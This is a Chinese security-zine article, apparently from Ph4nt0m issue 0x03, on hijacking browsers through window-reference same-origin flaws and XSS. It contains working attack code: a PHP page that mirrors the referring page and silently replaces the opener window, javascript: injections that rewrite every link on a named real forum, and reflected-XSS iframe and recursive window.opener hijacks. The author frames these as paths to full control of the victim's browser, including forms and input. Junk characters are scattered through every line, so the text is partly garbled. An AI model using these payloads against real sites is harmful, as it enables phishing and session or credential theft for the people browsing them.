==Ph4nt0m Security Team==
3 C4 |. d8 k8 |& N) J0 \ r ; t! z5 ?# |, M/ o ?' F% u' @
Issue 0x03, Phile #0x05 of 0x073 ?/ P/ ]) l% r- ?% S
2 t7 t4 m1 Y/ o# Z7 x: u
, K1 g: f& E' Q, l) E1 h|=---------------------------------------------------------------------------=|
: V4 e, l" M$ W|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=| m# \0 e* r0 s s! z, }8 W
|=---------------------------------------------------------------------------=|
0 b0 o. W6 G' ^+ _8 j|=---------------------------------------------------------------------------=|* Q- R6 z$ c% g
|=------------------------=[ By rayh4c ]=---------------------------=|
8 m4 I1 R! O/ ||=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
7 ^& n+ P# M4 J; U0 Q) u/ z3 o|=---------------------------------------------------------------------------=|
6 {: z) `1 M' p9 R) ?! h5 ]9 A: c7 K6 i. M) F
# s+ x. X7 j/ o7 s/ W% z0 q
[目录]
$ x: N9 I7 ` I( k) o" k3 k$ k# u0 V
* m* S. r$ z, D' b; S3 G5 J, o c1. 前言% Z+ C0 }6 H+ ?4 X2 _& b4 Q
2. 同源策略简叙
" P* X( F+ V z- d( i3. 理解window对象的同源策略
! l2 S" S4 v& o" S6 n! @) p4 {* J4. 窗口引用功能中的同源策略漏洞2 x& v5 @7 J5 R9 ]- @9 x) O
4.1 父窗口引用子窗口的同源策略问题6 a8 I; Q1 | g. J& ]
4.2 子窗口引用父窗口的同源策略问题/ H) w' x4 Q" s% A! j, n: M
5. 利用窗口引用漏洞劫持浏览器$ q6 @ a2 m9 ^% n# |8 X r, r
6. 利用XSS漏洞劫持浏览器
( ]% T W5 r: @' D+ @" O9 X 6.1 正向跨窗口劫持9 f: z- [: _2 k, k+ G/ H" \
6.2 反向跨窗口劫持9 C1 S" s' ]6 x& [1 Z0 n
6.3 极度危险的跨框架窗口引用劫持
8 r# A) F7 b7 A+ o* e 6.4 极度危险的正反向跨窗口递归劫持
+ L$ `. r, \: ]" b# b5 Y- P 6.5 完全控制浏览器
0 X1 F- J" `! w* P9 \7. 后记
& w: C- d2 R s' t4 W8. 参考& ]5 D' D1 X! j/ \! T- t. u* y
: a8 F* h% P$ Q% y/ f/ ?( i3 x# m7 R" G3 {- b3 i4 T1 h
一、前言
3 u N, _: k/ {: i. `! J2 V& G& d. X/ ?2 B, v0 D
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋 t$ M% g8 [) \# x' L9 v
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
# z9 D7 d2 V2 I9 o/ a8 i# @$ K劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被9 y9 A y# O1 k
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
! n9 r, l7 {- B% v/ E c+ J6 a% b* S" P6 n' B& x$ Q
- b! B: r# `6 p( h8 `1 M
二、同源策略简叙8 f/ v' D! L& I& G, l3 ?
$ Q( n- k5 A0 l) D6 y( u8 j
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
# F0 x2 r8 x7 D; c% M; m从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都, i' D9 c! w4 {& w, A
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木- C! p3 i' @ B
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
9 D" t1 r1 \+ D3 Y* d) S& U漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。( ?# c+ z1 H9 Q7 a, G- i
/ K5 |# S+ C2 s/ Q0 E' l1 b4 l
* a' l" Z3 P; O三、理解window对象的同源策略
/ s" M- m* ?' {1 g
- R, H. U5 u% A/ K+ u! M 窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对( O7 |) `. f ^3 z
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
# C- H! \+ p1 N& R1 L( n( }/ B- I# z& k2 t
--code-------------------------------------------------------------------------( z( z$ k- b- O+ f2 i' H, X5 ?
<script language="javascript">
! M$ f3 e, r; H5 s( Mfor(p in window) document.write(p+"<br>");
' G2 s Q3 {2 X( Y% g2 d0 }+ c- b& |</script>
. @8 c8 W& |0 ]" b( u3 P/ I& V-------------------------------------------------------------------------------
% R q8 K1 W, @$ B8 Z4 Y2 T+ l5 C# z) ?8 w% k
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
, D) q+ u! b7 ]8 c' Q, z法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
1 r- @1 {) Q- _: W9 [1 {这些属性和方法就必须遵循同源策略。
; L9 S6 V! y2 b' p
( d) j9 p4 V8 @+ a1 g# ^6 u 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
$ {" @ e+ s% X! y- l+ k么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
s5 ~/ C* `( f& y- Q的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这! r# c2 S' Y- N0 z0 \
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的, R) W& g* }3 V6 J8 Z
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
' {4 Q: s5 r7 O* A; k属性并没有被拒绝访问。& D& m( h& A3 }( G
7 J# C2 w0 A1 ?8 E; z( u
--demo.html--------------------------------------------------------------------) e9 X1 z% f! W8 J
<script language="javascript">
- _3 I" d+ q ifunction allPrpos(obj) {
2 B$ a( K- l1 ~* W& a3 z var props = "<table><tr><td>名称</td><td>值</td>";
+ `% e6 e$ V8 e' q9 r4 r4 b for(var p in obj){
- U( K3 Z0 b' N8 I" @ if(typeof(obj[p])=="function"){ 3 o& K- `% `3 D* u2 r1 [
obj[p]();
8 v+ u6 ~( N1 b }else{
4 Y& E5 _" N8 w @' Q$ r$ m try * O3 _4 L" X- L7 j3 @7 ~
{ + [" H' A8 M& j; h6 x& \7 k
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; 3 }8 V5 F$ m7 X7 n
}
8 M; e/ i* b' o& W& B! h, U catch (ex)
4 q( K j4 a Q4 C { ; Z5 `* G- ^4 ^# V% d& X
1 B* c: r! q1 }; b" ^- ~* Q
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
3 F; P+ X' w2 a7 V0 B }
( C# S7 h& S- O$ J. b2 G 6 E2 f- ]2 H6 f- T1 C( `# O
}
1 X+ R3 F6 i7 E8 Y/ y, ^$ L/ e$ J } & S( _) Q) b8 r$ p. t6 }% A
0 [# ~* I% p# V0 n1 y" n. C document.write(props+"</table>"); ) z. l- G6 P& o+ y2 p$ f& c2 r
} , i& S0 Y8 o# U4 l* W9 g; x
2 ~7 @4 ?7 G9 \: P* g4 Z2 I/ q
function createWin() {" t7 k' Q, t, H/ h6 a1 V
newWin = window.open ("http://www.google.com");
$ q: r8 `, h/ [2 x* \' q" `# z setTimeout(function(){allPrpos(newWin)},2000); r" `2 ~; X/ _9 S( b8 d2 G
} % [5 E6 [% j' k. V, C! K
) p/ t5 g: N3 x. {' k, ^0 h2 y' N: s</script>
. M: V( s, }/ i, z3 \
8 r0 H3 O J; ?' n5 |. y$ f, M<button onclick='createWin()'>创建一个非同源子窗口测试</button>
5 o+ j2 b7 |4 {! @- W$ P-------------------------------------------------------------------------------
8 k1 A2 J/ ?" y! c5 p7 E) a
5 z! c, a' R% \9 `4 z6 p: t' I1 {3 A4 O! {! h
四、窗口引用功能中的同源策略漏洞0 x' J3 d! ^) a. [* n
! t1 ^6 L W6 a# e/ E* @9 ~4.1 父窗口引用子窗口的同源策略问题8 {2 s& Z1 ^3 \. d+ A( H
: {1 D N2 A( a; `; A) Z
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
1 [/ U0 Z% h( H/ U' \7 j4 R但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道, Z8 h" i+ G6 F" t& M
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
/ ]/ ~8 f ^: ~' f# U6 b2 c6 y行测试,会发现父窗口可以控制非同源子窗口location属性值。7 i( R1 J' u/ g
x0 W7 W) e: c5 K8 \: W( T( h--vul1.html--------------------------------------------------------------------0 x1 `% B5 c# v
<script language="javascript"> / v8 y9 _& }6 g" {/ H; d5 y* p
function createWin() {
. D7 U$ M) u6 f- Z Z& E% @( E, q, U newWin = window.open ("http://www.google.com");
& c( I( q5 f: ?( l6 P6 \ setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
8 D- u' B! T/ M: w" ~}
, p1 B1 a. f1 ^: U6 @& w' W</script>
& J; L, e( D* \9 b3 A" @# o# {3 @' V" L# |
<button onclick='createWin()'>创建一个非同源子窗口测试</button>, Q+ v3 Q/ r# f& N& w
-------------------------------------------------------------------------------4 p2 S5 P0 a9 y- E) r
9 a1 z" `% D0 I0 i% h/ ], w! R6 o6 p( V
4.2 子窗口引用父窗口的同源策略问题
4 n h% r1 W7 T, [8 ]: f& w7 S( m# d7 F$ d
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
/ l) w- m) H; M6 G用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们1 [/ O2 s1 P! t6 I2 t7 ?# \$ P
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
6 ]; N! R' D! _& ]会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
) M; A$ Q: j6 w$ E. G1 n
2 U g, i- g6 W9 K# `--code-------------------------------------------------------------------------9 R0 s' Y" q: O: s# F
6 g' }& { m' r
javascript:window.opener.location = "http://www.80sec.com";void(0);
% a7 ~% ^/ w( D5 ]$ q" z8 l
1 v6 _6 X0 ~1 ^7 _1 q' x-------------------------------------------------------------------------------
5 g9 o8 ]$ H. S8 I3 m7 |2 ]& u5 k# d$ U; Q/ u6 v/ x
* _2 J9 x* U$ Q; N) d/ l五、利用窗口引用漏洞劫持浏览器
0 \9 X( Q4 @# a+ @# N# s) v( g4 g# v
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子! E' N5 ^- m7 y/ g
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
9 t0 E" h$ }+ J. E3 h& Z/ Q7 O% ?么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。' \+ i) \9 i/ M/ E U0 V$ |* X
) v& P* L& Q# k/ f" z" R
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产5 _: J, F4 q& \+ Q0 ?. K9 ^
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
8 r# }1 {# Q7 p5 d者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
9 Y$ i& q% b5 a" K( w后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
( R: a; I6 n2 X! }$ k. m会产生什么可怕的后果。
/ i5 t" h" t8 r! ^9 d9 |8 Z, t
* _& J0 Y2 b. N o 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我, n: P3 c2 d, x i& Y
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
1 Q" J/ {0 {9 `' F这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时5 X* }' ]7 q/ q; L8 j2 E# Q- c
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
/ m! r; j5 P. ?* X) _3 t以做更多的事情,所有的一切仅仅是因为点击了一个链接。
P7 _+ M9 L1 N- s) v3 Y9 S% C3 A. D8 Y- O" i4 _
--hjk_ref.php------------------------------------------------------------------& X, P9 _2 i: M% i! @
<?php
6 R# g/ h5 P! l7 m( mif (array_key_exists("HTTP_REFERER", $_SERVER)) {
4 ~5 `3 e4 E4 G t: E3 E$Url_Mirror = $_SERVER["HTTP_REFERER"];
& O0 J& {( i) k5 j# Q}
{ A a8 C7 M! y: ]" Aif(isset ($_GET['ref'])) {
0 _5 |) a8 Q6 ` J: Cecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>'; d# d, Q$ w% E; g/ b2 [. E
}
7 C/ V& d. p) x' O0 H; E?>
- B! y( A! P, P* [3 @3 A1 P7 y" Z. m
. C- \; G* o- G8 a; O8 Q* i<script language="javascript">
& E) K% y) y: I% I+ h1 [setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
, ]- k! @9 j3 h# o) b$ C$ ~</script>
! b# S: A- @( h6 c/ x-------------------------------------------------------------------------------
+ Q9 c; [: p- Y1 \1 H
- @1 w. u+ F9 a0 [1 I 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。) A5 n# ?/ U7 I/ U- y; L
( D7 _- F# ?' g( E6 x3 {' Q2 X" X
+ Q1 G' R2 S7 G" k6 z4 u
六、利用XSS漏洞劫持浏览器: D" T9 N J5 s1 O8 o
) R- O2 j+ C1 y, e" U1 ^, {0 r 延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为2 k& m( f8 w! ^ x
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后% P) ] }9 m/ ]& P( c( u5 T
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起/ d5 _0 K8 C5 y
讨论跨站师的终极技巧:6 ]/ G5 e9 O2 O
9 f% P* `+ W9 y3 b, r3 ~- l. o
5 A/ @5 Z$ |! {" e: z' [ O( v- H8 }6.1 正向跨窗口劫持9 g9 a* j" z, j" l
& |9 p8 r$ y, R. N$ V
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
2 H- K; e' O' D: ~9 H7 `主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链- r0 a7 h8 K4 z3 s5 r M
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
) c! t) z* v* \* K8 R5 E框脚本。
/ }# N7 o: L& r, D% L1 R9 [* @ R$ X
+ o. F. B' F& k$ v* W: J0 b' L--hijack_open.js---------------------------------------------------------------
2 }- J/ F# ? t3 L) g1 `$ }
0 r- }$ H/ o9 ~; o, G1 o% D6 w; Cjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
" J$ Y b# g( L* Z) ~& h d. G
" `9 S" L1 s; d' H0 t------------------------------------------------------------------------------- l% l2 M: A) S) h* x) F$ { D
) ^0 P" H y& h- F& P
: e- B4 L5 J$ D% h( z( ?! t& e& x
6.2 反向跨窗口劫持5 M8 S- r2 T% s, Q# l5 } G; e8 V
% M4 t+ y2 k* A# n* x" p" H7 i
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代$ h1 P O `: I8 q! U0 r0 g8 g
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
1 F* }. Q) q9 {! E0 Y框脚本。9 D7 `) _) { B1 m# p. r% ^
: i) } n8 f4 A- e5 @& S2 G& r1 s- s* \$ V
--hijack_opener.js-------------------------------------------------------------
3 J4 Z2 J( d0 Y, d8 D
& I8 X j1 Z: Z# Jjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);2 ~) Z; F9 }9 j; l& k7 l; {
8 S$ F4 |( F+ y) z' B& l5 y
-------------------------------------------------------------------------------
v; i& W: x, X4 R6 O; c* x+ L# ]- o; i. e; l0 w) D9 x/ W! e
& c a% C* M4 [' Y7 ]' W7 f
6.3 极度危险的跨框架窗口引用劫持( y2 |9 c9 O' }# [
/ h3 I. {3 t& n$ h* j9 _7 s
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞
" r5 ]# Y8 |7 \& I) J可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就3 a; r" y' }2 h! o
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
# ?8 _& o9 }! R1 \& A9 y非持久型的XSS,如下:
2 Y3 f5 B) m* _' J5 e8 l h4 x" x: c. ^) `& S; P: t+ d4 ?1 k7 P
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>* v/ i6 y4 p4 Q
9 d1 v- b+ W/ J# l7 q* r! q
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口1 Z# o$ c7 L$ B3 y8 o4 e
注入脚本。3 @7 P' {( X' i2 y+ I% u1 x6 m* ^
3 T4 ?: \0 ^% F" \9 d+ c+ d5 R) }4 }--hijack_frame_opener.js-------------------------------------------------------
) q$ C: E; M% T- }<script> k1 e. x, Z f- s9 K
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";/ U" F+ c6 G3 M* b* u
</script>9 b1 S2 I5 T" Y9 ]% E9 H2 n
-------------------------------------------------------------------------------
" n/ [' [( N, ?# \0 B
" V+ i! g! ?' {0 o. E7 _6 d- s& v8 g5 `, g2 k9 q, O0 S3 y
6.4 极度危险的正反向跨窗口递归劫持
! o- l3 O3 V+ G( c M+ e
, z- Q7 n& g" V$ t$ {+ c. n luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
. h5 q) }7 V; F) z0 \3 D的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
: J& Z. b6 u L% @异常处理规避之间跨域页面的访问异常,代码如下:$ e) A5 K' o" m, l u
, s' \5 L. m5 v5 g- O2 p
--code-------------------------------------------------------------------------
: I; A0 g9 J) i' X6 n
9 X" `. l! }/ M9 |" |- M9 sjavascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);6 F+ b2 ~7 [1 s8 x: o" S+ ]$ X) B9 J
0 y/ f% c& q1 M; J-------------------------------------------------------------------------------
! J5 g( f+ \( x: u! g7 ?
+ a/ P; u: L) }* t- ? 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
7 u, F9 }/ |1 F" w! U2 l: \以劫持B域之前的A域页面,从而实现“隔空打击”。
1 p. P6 X z5 w H$ m2 e) Z: ]& G+ `+ d9 Z/ Y; H( b" e
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面" P0 Y% h/ G3 h) w% I" V
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
9 i1 f9 C, k: v" K3 Z q2 I0 c9 V4 g1 {& N
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。1 T+ K6 ^( Q/ q+ @9 t0 {2 x% ^
3 r6 t: f# E4 x9 c. }- [
0 H8 J# u5 l# `/ |1 W! I; u6.5 完全控制浏览器
# r4 u/ x" V* Q9 D% {( l' Y
5 [+ G4 ] Z4 r 一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
- U2 i) ^2 T! j2 z# O是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
( W6 o/ }2 `3 _4 u3 t7 }" D漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失' f8 J; P: M4 X5 n
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再/ z- j ?% C z4 Z( V6 ^+ u2 x
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站, [) o0 @4 `: ]; G8 \
师的终极目标 - 完全控制浏览器。 E/ l# G2 e7 q% z; s6 p
- R4 ]) d0 p! A2 ]$ e6 o8 `, H: r; O) E; I" h b
七、后记 _4 D8 s2 {1 S4 n+ }
, b6 ~/ P: U1 _$ p0 V# F, Q! Q 文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
0 y6 r8 z" Z1 V+ j' ^$ @与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
% k6 ~; ~* X$ k) ^过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
* O8 f t8 k+ S s4 g/ [$ o
+ ^1 a. v" V! N
$ W" ^. Y, d3 W" ^八、参考
5 ~0 z; E! Z! W# [- m/ ~9 R% F2 M' w- a) F
1. http://en.wikipedia.org/wiki/Same_origin_policy7 h5 n4 p2 }* q8 h$ B0 B) i
2. http://code.google.com/p/browser ... licy_for_DOM_access
, o' a: ^+ T% m, n8 ~1 j1 j3 F3. http://www.w3.org/TR/Window/
|& E8 b: A" Y, P/ B8 |5 t4. http://www.80sec.com/release/browser-hijacking.txt6 G2 c6 z& B9 g
5. http://www.80sec.com/all-browser-security-alert.html% g) H, }& B9 d; F' `6 S
6. http://www.80sec.com/ms08-058-attacks-google.html
& V4 i- c8 R' B, c' J7 L; ^' o( i) j) J. [3 a% P% P
-EOF- |